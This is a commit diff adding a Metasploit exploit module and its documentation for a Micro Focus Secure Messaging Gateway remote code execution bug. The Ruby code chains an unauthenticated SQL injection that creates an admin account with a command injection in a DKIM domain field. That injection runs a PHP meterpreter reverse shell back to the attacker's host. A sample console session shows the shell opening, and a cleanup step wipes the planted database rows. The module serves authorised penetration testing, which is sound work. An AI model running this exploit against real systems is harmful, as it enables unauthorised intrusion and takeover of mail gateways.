Adding Micro Focus Secure Messaging Gateway RCE
parent
f0caa1cef5
commit
4c1c2e9288
|
@ -0,0 +1,59 @@
|
|||
## Vulnerable Application
|
||||
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
|
||||
|
||||
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session.
|
||||
|
||||
Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Complate following trial submission form. You will be able to download the product as a OVA or ISO file.
|
||||
|
||||
[https://www.microfocus.com/products/secure-gateway/trial/](https://www.microfocus.com/products/secure-gateway/trial/)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/microfocus_secure_messaging_gateway `
|
||||
- [ ] Set `RHOST`
|
||||
- [ ] Set `LHOST`
|
||||
- [ ] Run `check`
|
||||
- [ ] **Verify** that you are seeing `The target is vulnerable`
|
||||
- [ ] Run `exploit`
|
||||
- [ ] **Verify** that you are seeing `Creating an user with appropriate privileges` in console.
|
||||
- [ ] **Verify** that you are seeing `User successfully created. Username : rmcynlbredxqh` in console.
|
||||
- [ ] **Verify** that you are seeing `Authenticating with created user` in console.
|
||||
- [ ] **Verify** that you are seeing `Successfully authenticated` in console.
|
||||
- [ ] **Verify** that you are seeing `Creating a domain with a malformed DKIM data` in console.
|
||||
- [ ] **Verify** that you are seeing `Payload is successfully implanted` in console.
|
||||
- [ ] **Verify** that you are seeing `Triggerring an implanted payload` in console.
|
||||
- [ ] **Verify** that you are getting meterpreter session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/microfocus_secure_messaging_gateway
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set RHOSTS 12.0.0.25
|
||||
RHOSTS => 12.0.0.25
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Creating an user with appropriate privileges
|
||||
[+] User successfully created. Username : rmcynlbredxqh
|
||||
[*] Authenticating with created user
|
||||
[+] Successfully authenticated
|
||||
[*] Creating a domain record with a malformed DKIM data
|
||||
[+] Payload is successfully implanted
|
||||
[*] Triggerring an implanted payload
|
||||
[*] Sending stage (37775 bytes) to 12.0.0.25
|
||||
[*] Meterpreter session 10 opened (12.0.0.1:4444 -> 12.0.0.25:44332) at 2018-06-25 20:26:54 +0100
|
||||
[*] Cleaning up...
|
||||
|
||||
meterpreter > pwd
|
||||
/opt/gwava/gwavaman/http/admin/contents/ou
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,214 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
|
||||
An unauthenticated user can execute a terminal command under the context of the web user.
|
||||
|
||||
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
|
||||
which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
|
||||
manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
|
||||
to access this endpoint without having a valid session.
|
||||
|
||||
Combining these vulnerabilities gives the opportunity execute operation system commands under the context
|
||||
of the web user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
|
||||
['CVE', '2018-12464'],
|
||||
['CVE', '2018-12465'],
|
||||
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
|
||||
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'php/meterpreter/reverse_tcp',
|
||||
'Encoder' => 'php/base64'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jun 19 2018",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def execute_query(query)
|
||||
#
|
||||
# We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques
|
||||
# but since we are able to use stacked-query approach, following form of payload is required in order to be able
|
||||
# get back the output of query !
|
||||
#
|
||||
r = rand_text_alphanumeric(3 + rand(3))
|
||||
sql = r
|
||||
sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "
|
||||
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "
|
||||
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "
|
||||
sql << query
|
||||
sql << "; -- "
|
||||
sql << r
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
|
||||
'vars_post' => {
|
||||
'appkey' => r
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def something_went_wrong
|
||||
fail_with Failure::Unknown, 'Something went wrong'
|
||||
end
|
||||
|
||||
def check
|
||||
r = rand_text_numeric(15 + rand(20))
|
||||
res = execute_query("SELECT #{r}")
|
||||
if res && res.code == 200 && res.body.include?(r)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def implant_payload(cookie)
|
||||
print_status('Creating a domain record with a malformed DKIM data')
|
||||
p = [
|
||||
{
|
||||
:id => 'temp_0',
|
||||
:Description => rand_text_alpha(5),
|
||||
:DkimList => [
|
||||
{
|
||||
:Domain => "$(php -r '#{payload.encoded}')",
|
||||
:Selector => '',
|
||||
:TempId => 'tempDkim_1'
|
||||
}
|
||||
]
|
||||
}
|
||||
].to_json
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'cache' => 0,
|
||||
},
|
||||
'vars_post' => {
|
||||
'StateData' => '[{"ouid":1}]',
|
||||
'SaveData' => p
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?('DbNodeId')
|
||||
# Defining as global variable since we need to access them later within clean up function.
|
||||
@domainid = JSON.parse(res.body)['Nodes'][0]['DbNodeId']
|
||||
@dkimid = JSON.parse(res.body)['Nodes'][1]['DbNodeId']
|
||||
print_good('Payload is successfully implanted')
|
||||
else
|
||||
something_went_wrong
|
||||
end
|
||||
end
|
||||
|
||||
def create_user
|
||||
# We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection
|
||||
# issue location where requires a valid session !
|
||||
print_status('Creating an user with appropriate privileges')
|
||||
|
||||
# Defining as global variable since we need to access them later within clean up function.
|
||||
@username = rand_text_alpha_lower(5 + rand(20))
|
||||
@userid = rand_text_numeric(6 + rand(2))
|
||||
query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"
|
||||
|
||||
execute_query(query)
|
||||
res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")
|
||||
|
||||
if res && res.code == 200 && res.body.include?(@username)
|
||||
print_good("User successfully created. Username : #{@username}")
|
||||
else
|
||||
something_went_wrong
|
||||
end
|
||||
end
|
||||
|
||||
def login
|
||||
print_status("Authenticating with created user")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'),
|
||||
'vars_post' => {
|
||||
'username' => @username,
|
||||
'password' => rand_text_alpha_lower(5 + rand(20)),
|
||||
'passwordmandatory' => rand_text_alpha_lower(5 + rand(20)),
|
||||
'LimitInterfaceId' => 1
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body.include?('/ui/default/index.php')
|
||||
print_good('Successfully authenticated')
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
something_went_wrong
|
||||
end
|
||||
cookie
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
create_user
|
||||
cookie = login
|
||||
implant_payload(cookie)
|
||||
|
||||
print_status('Triggerring an implanted payload')
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'cache' => 0,
|
||||
},
|
||||
'vars_post' => {
|
||||
'DkimRecordId' => @dkimid
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
print_status('Cleaning up...')
|
||||
cmd = ""
|
||||
cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'
|
||||
cmd << "DELETE FROM account WHERE loginname ='#{@username}';"
|
||||
cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};"
|
||||
cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};"
|
||||
cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"
|
||||
cmd << '"'
|
||||
session.shell_command_token(cmd)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue